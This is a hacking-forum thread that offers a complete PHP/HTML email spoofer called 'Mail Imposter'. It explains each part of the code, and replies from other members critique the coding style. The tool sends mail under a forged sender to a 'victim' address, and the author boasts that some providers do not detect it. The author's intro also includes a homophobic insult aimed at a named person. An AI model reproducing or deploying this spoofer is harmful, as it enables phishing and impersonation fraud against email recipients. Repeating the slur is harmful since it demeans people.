+- Sinisterly (https://sinister.ly)
+-- Forum: Coding (https://sinister.ly/Forum-Coding)
+--- Forum: PHP (https://sinister.ly/Forum-PHP)
+--- Thread: Creating Basic Email Spoofer (/Thread-Creating-Basic-Email-Spoofer)
Creating Basic Email Spoofer - Aut•ono•mous - 08-07-2014
Basic Email Spoofer | PHP & HTML
Created by: Autonomous
www.HackersHelpdesk.net
As a novice PHP developer, this is a project that really gave me a bit more understanding to how PHP behaves, so I'm going to share my code, thoughts, & definitions with you here so you gain some knowledge, & you'll have a neat tool by the end!
![[Image: Ctqgp2x.png]](http://i.imgur.com/Ctqgp2x.png)
Kyle is a ginger, with no soul. Clearly he's also a raging homosexual, he told me himself as you can see.
So what we'll be creating here is an email spoofer. This will allow you to send an email to your victim, that appears to be coming from someone else, but as you can see from the image below ..Gmail is able to detect it. I've also tested the same spoofer with no modifications with Live & Yahoo, with no detection whatsoever, so that's something you'll want to keep in mind as well.
So here's my end product code;
Code:
<style type="text/css">
<!--
body,td,th {
color: #999999;
font-family: Courier New, Courier, monospace;
}
body {
background-image: url('http://www.hackershelpdesk.net/background.png');
}
INPUT {
background-color: black;
border: grey 1px solid;
color: white;
font-family: arial, verdana, ms sans serif;
font-size: 10pt
}
TEXTAREA {
background-color: black;
border: grey 1px solid;
color: white;
font-family: arial, verdana, ms sans serif;
font-size: 10pt;
font-weight: normal
}
-->
</style>
<?php
//Mail Imposter
//Created by: Autonomous
//August 6th 2014 11:30 PM - Created
//Last Update: August 6th 2014 11:30 PM
//www.HackersHelpdesk.net
//This code is open to use, but please don't remove these comments, give the author some credit.
define("PASSWORD","Auto365420!");
$validpw = false;
if(!isset($_POST['password']) || $_POST['password'] == '')
{
$mail = '<div style="color:red">You will be asked for an encryption key provided to you by Autonomous. Without this, the impersonation will fail.</div>';
$validpw = false;
} elseif($_POST['password'] != PASSWORD)
{
$mail = '<div style="color:red">Invalid encryption key. You do not belong here, IP Recorded.</div>';
$validpw = false;
} else {
$validpw = true;
}
if(isset($_POST['to']) && isset($_POST['from']) && isset($_POST['fromname']) && isset($_POST['replyto']) && isset($_POST['subject']) && isset($_POST['message']) && $validpw)
{
$headers = 'From: '.$_POST['fromname'].' <'.$_POST['from'].'>' . "\r\n" .
'Reply-To: '. $_POST['replyto'] . "\r\n";
$mail = mail($_POST['to'],$_POST['subject'],$_POST['message'],$headers);
if($mail)
{
$mail = '<div style="color:green">Impersonation Successful.</div>';
} else {
$mail = '<div style="color:red">Access Denied. IP Recorded.</div>';
}
} else {
if(!isset($mail))
{
$mail = '<div style="color:red">Leave no stone unturned.</div>';
}
}
?>
<!DOCTYPE html>
<html>
<head>
<title>Mail Imposter</title>
<font color='red'>
<p>Created by: Autonomous</p>
<p>www.HackersHelpdesk.net</p></font>
</head>
<body>
<?php echo $mail; ?>
<form action="imposter.php" method="post">
<table border="0">
<tr>
<td>Victim Address: </td>
<td><input type="text" name="to"></td>
</tr>
<tr>
<td>Impersonation Address: </td>
<td><input type="text" name="from"></td>
</tr>
<tr>
<td>Impersonation Name: </td>
<td><input type="text" name="fromname"></td>
</tr>
<tr>
<td>Reply To: </td>
<td><input type="text" name="replyto"></td>
</tr>
<tr>
<td>Subject: </td>
<td><input type="text" name="subject"></td>
</tr>
<tr>
<td>Body: </td>
<td><textarea name="message"></textarea></td>
</tr>
<tr>
<td>Encryption Key: </td>
<td><input type="password" name="password"></td>
</tr>
<tr>
<td colspan="2">
<input type="submit" value="Send Email" />
</td>
</tr>
</table>
</form>
</body>
</html>The first thing you'll notice there is the Stylesheet, which isn't crucial. You can keep it blank if you'd prefer, but I wanted it to look a little bit pretty at least. You can create your own if you're familiar with CSS, but feel free to use mine:
Code:
<style type="text/css">
<!--
body,td,th {
color: #999999;
font-family: Courier New, Courier, monospace;
}
body {
background-image: url('http://www.hackershelpdesk.net/background.png');
}
INPUT {
background-color: black;
border: grey 1px solid;
color: white;
font-family: arial, verdana, ms sans serif;
font-size: 10pt
}
TEXTAREA {
background-color: black;
border: grey 1px solid;
color: white;
font-family: arial, verdana, ms sans serif;
font-size: 10pt;
font-weight: normal
}
-->
</style>Next we have our password protection system. This defines what the password will be.
Code:
define("PASSWORD","Auto365420!");If the password is inputted incorrectly, or a required filed is left blank the application will output an error message & the process will not be completed.
Code:
$validpw = false;
if(!isset($_POST['password']) || $_POST['password'] == '')
{
$mail = '<div style="color:red">You will be asked for an encryption key provided to you by Autonomous. Without this, the impersonation will fail.</div>';
$validpw = false;
} elseif($_POST['password'] != PASSWORD)
{
$mail = '<div style="color:red">Invalid encryption key. You do not belong here, IP Recorded.</div>';
$validpw = false;
} else {Now, if the password matches our defined password, we'll get a message stating that the process was successful.
Code:
$validpw = true;
}
if(isset($_POST['to']) && isset($_POST['from']) && isset($_POST['fromname']) && isset($_POST['replyto']) && isset($_POST['subject']) && isset($_POST['message']) && $validpw)
{
$headers = 'From: '.$_POST['fromname'].' <'.$_POST['from'].'>' . "\r\n" .
'Reply-To: '. $_POST['replyto'] . "\r\n";
$mail = mail($_POST['to'],$_POST['subject'],$_POST['message'],$headers);
if($mail)
{
$mail = '<div style="color:green">Impersonation Successful.</div>';Now that's the PHP work, now we're going to work on the HTML layout next.
We'll start with the header. This will show the title of your Email Spoofer, & whatever other information you want to display at the top. As you can see, I have my title Mail Imposter, & just some information to accredit the author.
Code:
<html>
<head>
<title>Mail Imposter</title>
<font color='red'>
<p>Created by: Autonomous</p>
<p>www.HackersHelpdesk.net</p></font>
</head>Next, we'll start on the form itself. We'll first reference $mail & set the post to the correct file name. In this case, imposter.php. As you can see this is where we'll create the labels & textboxes that allow the enduser to input information.
This will be in the body section of the HTML, & we'll create a table to keep the textboxes organized properly.
Code:
<body>
<?php echo $mail; ?>
<form action="imposter.php" method="post">
<table border="0">
<tr>
<td>Victim Address: </td>
<td><input type="text" name="to"></td>
</tr>
<tr>
<td>Impersonation Address: </td>
<td><input type="text" name="from"></td>
</tr>
<tr>
<td>Impersonation Name: </td>
<td><input type="text" name="fromname"></td>
</tr>
<tr>
<td>Reply To: </td>
<td><input type="text" name="replyto"></td>
</tr>
<tr>
<td>Subject: </td>
<td><input type="text" name="subject"></td>
</tr>
<tr>
<td>Body: </td>
<td><textarea name="message"></textarea></td>
</tr>
<tr>
<td>Encryption Key: </td>
<td><input type="password" name="password"></td>
</tr>
<tr>
<td colspan="2">
<input type="submit" value="Send Email" />
</td>
</tr>
</table>
</form>
</body>Save your PHP file, & upload it to your server and you should have success. I originally ran into some latency issues with this form, but I figured it to be that I wasn't uploading to the correct directory on my server (rookie mistake) so if you see my thread regarding errors with this code, please note that it has been fixed!
EDIT: I've added some Javascript functions to disable Right Clicking for security reasons. My end product code is below:
Code:
<head>
<script language="javascript"
type="text/javascript"
src="http://ajax.googleapis.com/ajax/libs/jquery/1/jquery.min.js">
</script>
<script type="text/javascript" language="javascript">
$(function rclick() {
$(this).bind("contextmenu", function(e) {
e.preventDefault();
});
});
</script>
</head>
<style type="text/css">
<!--
body,td,th {
color: #999999;
font-family: Courier New, Courier, monospace;
}
body {
background-image: url('http://www.hackershelpdesk.net/background.png');
}
INPUT {
background-color: black;
border: grey 1px solid;
color: white;
font-family: arial, verdana, ms sans serif;
font-size: 10pt
}
TEXTAREA {
background-color: black;
border: grey 1px solid;
color: white;
font-family: arial, verdana, ms sans serif;
font-size: 10pt;
font-weight: normal
}
-->
</style>
<?php
//Autonomous Mail Imposter
//Created by: Autonomous
//August 6th 2014 11:30 PM - Created
//Last Update: August 7th 2014 10:30 AM
//www.HackersHelpdesk.net
//This code is open to use, but please don't remove these comments, give the author some credit.
//This tool was created with good intentions, please use it for such.
//If you can't do that, keep in mind that you are solely responsible for any malicious use of this tool.
//Disables 'Right Click' function
echo "<script type=\"text/javascript\">rclick);</script>";
//Determines what the password is in order for the tool to function.
define("PASSWORD","Auto365420!");
//If password inputted is incorrect, display an error.
$validpw = false;
if(!isset($_POST['password']) || $_POST['password'] == '')
{
$mail = '<div style="color:red">You will be asked for an encryption key provided to you by Autonomous. Without this, the impersonation will fail.</div>';
$validpw = false;
} elseif($_POST['password'] != PASSWORD)
{
$mail = '<div style="color:red">Invalid encryption key. You do not belong here, IP Recorded.</div>';
$validpw = false;
} else {
$validpw = true;
}
if(isset($_POST['to']) && isset($_POST['from']) && isset($_POST['fromname']) && isset($_POST['replyto']) && isset($_POST['subject']) && isset($_POST['message']) && $validpw)
{
$headers = 'From: '.$_POST['fromname'].' <'.$_POST['from'].'>' . "\r\n" .
'Reply-To: '. $_POST['replyto'] . "\r\n";
$mail = mail($_POST['to'],$_POST['subject'],$_POST['message'],$headers);
if($mail)
{
$mail = '<div style="color:green">Impersonation Successful.</div>';
} else {
$mail = '<div style="color:red">Access Denied. Please verify all fields are inputted correctly.</div>';
}
} else {
if(!isset($mail))
{
$mail = '<div style="color:red">Leave no stone unturned.</div>';
}
}
?>
<!DOCTYPE html>
<html>
<center>
<head>
<title>Autonomous Mail Imposter</title>
<font color='red'>
<h2><i>Autonomous Mail Imposter</i></h2>
<a href "www.HackersHelpdesk.net"><img src= "http://www.hackershelpdesk.net/wp-content/uploads/2014/07/Logo.png"</img></a>
<h3>Created by: <a href "http://www.hackcommunity.com/User-Aut%E2%80%A2ono%E2%80%A2mous"> Autonomous </a></h3>
</head>
</center>
<br>
<body>
<?php echo $mail; ?>
<br>
<form action="imposter.php" method="post">
<table border="0">
<tr>
<td>Victim Address: </td>
<td><input type="text" name="to"></td>
</tr>
<tr>
<td>Impersonation Address: </td>
<td><input type="text" name="from"></td>
</tr>
<tr>
<td>Impersonation Name: </td>
<td><input type="text" name="fromname"></td>
</tr>
<tr>
<td>Reply To: </td>
<td><input type="text" name="replyto"></td>
</tr>
<tr>
<td>Subject Line: </td>
<td><input type="text" name="subject"></td>
</tr>
<tr>
<td>Email Body (HTML Permitted): </td>
<td><textarea name="message"></textarea></td>
</tr>
<tr>
<td>Encryption Key: </td>
<td><input type="password" name="password"></td>
</tr>
<tr>
<td colspan="2">
<input type="submit" value="Impersonate" />
</td>
</tr>
</table>
</form>
</body>
</html>
<div style="color:green">This tool was created with good intentions for educationl purposes. A lot like a gun, neither this tool nor the developer are to blame for any malicious activity you choose to do with it. If you're caught with a smoking gun, just remember you pulled the trigger, the gun isn't to blame.</div>
<br>
<div style="color:blue"><b>For security reasons, right clicking on this page is disabled, but you can view the source code on;</div> <a href "http://www.hackcommunity.com/Thread-Tutorial-Creating-Basic-Email-Spoofer?pid=202863#pid202863'><div style="color:red">HackCommunity.</div></a></b>RE: Creating Basic Email Spoofer - chmod - 08-07-2014
Nicely written an informative, although I do have one concern. In the last paragraph you write:
(08-07-2014, 05:16 AM)Aut•ono•mous Wrote: Compile your code, & upload it to your server
But as we know PHP is a scripted language so no compilation takes place. I know what you meant by this, but it could be confusing to others that aren't very familiar with PHP or don't speak English natively so you might want to re word that part.
RE: Creating Basic Email Spoofer - Aut•ono•mous - 08-07-2014
(08-07-2014, 10:41 AM)chmod Wrote: Nicely written an informative, although I do have one concern. In the last paragraph you write:
(08-07-2014, 05:16 AM)Aut•ono•mous Wrote: Compile your code, & upload it to your server
But as we know PHP is a scripted language so no compilation takes place. I know what you meant by this, but it could be confusing to others that aren't very familiar with PHP or don't speak English natively so you might want to re word that part.
Yeah, you make a good point there. Made necessary revisions.
My terminology when it comes to programming is absolutely awful. xD
RE: Creating Basic Email Spoofer - Singularity_mybb_import13102 - 08-07-2014
(08-07-2014, 10:41 AM)chmod Wrote: But as we know PHP is a scripted language so no compilation takes place.
Unless you decide to be like Facebook (and a good handful of other popular websites) and run HipHop. But yes I would agree, I can imagine a beginner sitting there pondering on how to compile PHP haha
RE: Creating Basic Email Spoofer - Aut•ono•mous - 08-07-2014
(08-07-2014, 02:09 PM)Singularity Wrote:(08-07-2014, 10:41 AM)chmod Wrote: But as we know PHP is a scripted language so no compilation takes place.
Unless you decide to be like Facebook (and a good handful of other popular websites) and run HipHop. But yes I would agree, I can imagine a beginner sitting there pondering on how to compile PHP haha
Yeah, & I won't pretend that I wasn't that kid, LOL. As a beginner, the most important thing about tutorials was the terminology, especially with complex processes. Some silly little error like that could leave someone cliffhanging for hours without any idea how to advance.
I certainly don't want that, so I'm glad someone caught my mistake.
RE: Creating Basic Email Spoofer - Singularity_mybb_import13102 - 08-07-2014
Yeah, and thanks for the tutorial, I hope others can really learn something from it
RE: Creating Basic Email Spoofer - h3r0 - 08-08-2014
Nice little tool, email spoofers are a lot of fun, using the same techniques you can send emails as text messages to phones, at least that's how it worked before smart phones.
Review time:
I could go on about coding standards etc, but it's not totally worth it (adding @file, and functions everywhere etc) but I will point out bigger things.
1] Your comments should be in a multiline comment formatted like this..
Code:
/**
* Mail Imposter
* Created by: Autonomous
* August 6th 2014 11:30 PM - Created
* Last Update: August 6th 2014 11:30 PM
* www.HackersHelpdesk.net
**/2] You have incorrect HTML formatting. Your CSS should be in its own file, in the head of the document.
3] You use double quotes in your define. Use either single quotes or double, try to not use both (for readability). Also after commas and after concatenation (a period) you need a space.
Code:
define("PASSWORD","Auto365420!");
// Turns into..
define('PASSWORD', 'Auto365420!');4] In PHP true and false are constants and should be in all caps.
Code:
$var = TRUE;
$foo = FALSE;5] Use classes instead of style tags.
Code:
<style>
.error {
color: #FF0000;
}
</style>
<p class="normal-classes for-this error">Yupp</p>6] Break up long lines with new lines or clever concatenations.
PHP Code:
if(isset($_POST['to'])
&& isset($_POST['from'])
&& isset($_POST['fromname'])
&& isset($_POST['replyto'])
&& isset($_POST['subject'])
&& isset($_POST['message'])
&& $validpw) {
$headers = 'From: '
. $_POST['fromname']
. ' <'
. $_POST['from']
. '>'
. "\r\n"
. 'Reply-To: '
. $_POST['replyto']
. "\r\n";
$mail = mail(
$_POST['to'],
$_POST['subject'],
$_POST['message'],
$headers
);
7] The biggest one of them all INDENT. Indenting in PHP is standard and is two spaces (not TAB for the love of god not TAB).
I hope this helps, I wish I learned coding standards when I was early in on PHP but I didn't so life can be difficult sometimes.
Random Tips:
- Coding statndards can be sleightly different for different CMSs or projects so check stying guides before coding with them
- In if statements compare your value to your var instead of var to value it allows you to avoid errors by assignment (see example bellow)
- With developer tools there is no such thing as "protect source" when it comes to HTML. http://i.imgur.com/JExLyPm.png
- Hack the planet.
example:
Code:
// Do this...
if ('string' == $var) {
// Instead of this..
if ($var == 'string') {
// To prevent this...
if ($var = 'string') {RE: Creating Basic Email Spoofer - Aut•ono•mous - 08-08-2014
(08-08-2014, 06:51 PM)h3r0 Wrote: Nice little tool, email spoofers are a lot of fun, using the same techniques you can send emails as text messages to phones, at least that's how it worked before smart phones.
Review time:
I could go on about coding standards etc, but it's not totally worth it (adding @file, and functions everywhere etc) but I will point out bigger things.
1] Your comments should be in a multiline comment formatted like this..
Code:/** * Mail Imposter * Created by: Autonomous * August 6th 2014 11:30 PM - Created * Last Update: August 6th 2014 11:30 PM * www.HackersHelpdesk.net **/
2] You have incorrect HTML formatting. Your CSS should be in its own file, in the head of the document.
3] You use double quotes in your define. Use either single quotes or double, try to not use both (for readability). Also after commas and after concatenation (a period) you need a space.
Code:define("PASSWORD","Auto365420!"); // Turns into.. define('PASSWORD', 'Auto365420!');
4] In PHP true and false are constants and should be in all caps.
Code:$var = TRUE; $foo = FALSE;
5] Use classes instead of style tags.
Code:<style> .error { color: #FF0000; } </style> <p class="normal-classes for-this error">Yupp</p>
6] Break up long lines with new lines or clever concatenations.
PHP Code:if(isset($_POST['to']) && isset($_POST['from']) && isset($_POST['fromname']) && isset($_POST['replyto']) && isset($_POST['subject']) && isset($_POST['message']) && $validpw) { $headers = 'From: ' . $_POST['fromname'] . ' <' . $_POST['from'] . '>' . "\r\n" . 'Reply-To: ' . $_POST['replyto'] . "\r\n"; $mail = mail( $_POST['to'], $_POST['subject'], $_POST['message'], $headers );
7] The biggest one of them all INDENT. Indenting in PHP is standard and is two spaces (not TAB for the love of god not TAB).
I hope this helps, I wish I learned coding standards when I was early in on PHP but I didn't so life can be difficult sometimes.
Random Tips:
- Coding statndards can be sleightly different for different CMSs or projects so check stying guides before coding with them
- In if statements compare your value to your var instead of var to value it allows you to avoid errors by assignment (see example bellow)
- With developer tools there is no such thing as "protect source" when it comes to HTML. http://i.imgur.com/JExLyPm.png
- Hack the planet.
example:
Code:// Do this... if ('string' == $var) { // Instead of this.. if ($var == 'string') { // To prevent this... if ($var = 'string') {
Wow. excellent feedback! I really appreciate that. I'll be sure to take your advice in my next project. This was the first PHP project I've done from scratch, so its a learn'n'teach kind of deal, so you have no idea how much this response helps.
Now, to decide what to work on next..
RE: Creating Basic Email Spoofer - h3r0 - 08-08-2014
(08-08-2014, 06:54 PM)Aut•ono•mous Wrote: Wow. excellent feedback! I really appreciate that. I'll be sure to take your advice in my next project. This was the first PHP project I've done from scratch, so its a learn'n'teach kind of deal, so you have no idea how much this response helps.
Now, to decide what to work on next..
Glad to be of service, I write procedural PHP for a living and being part of the open source community I like to give back.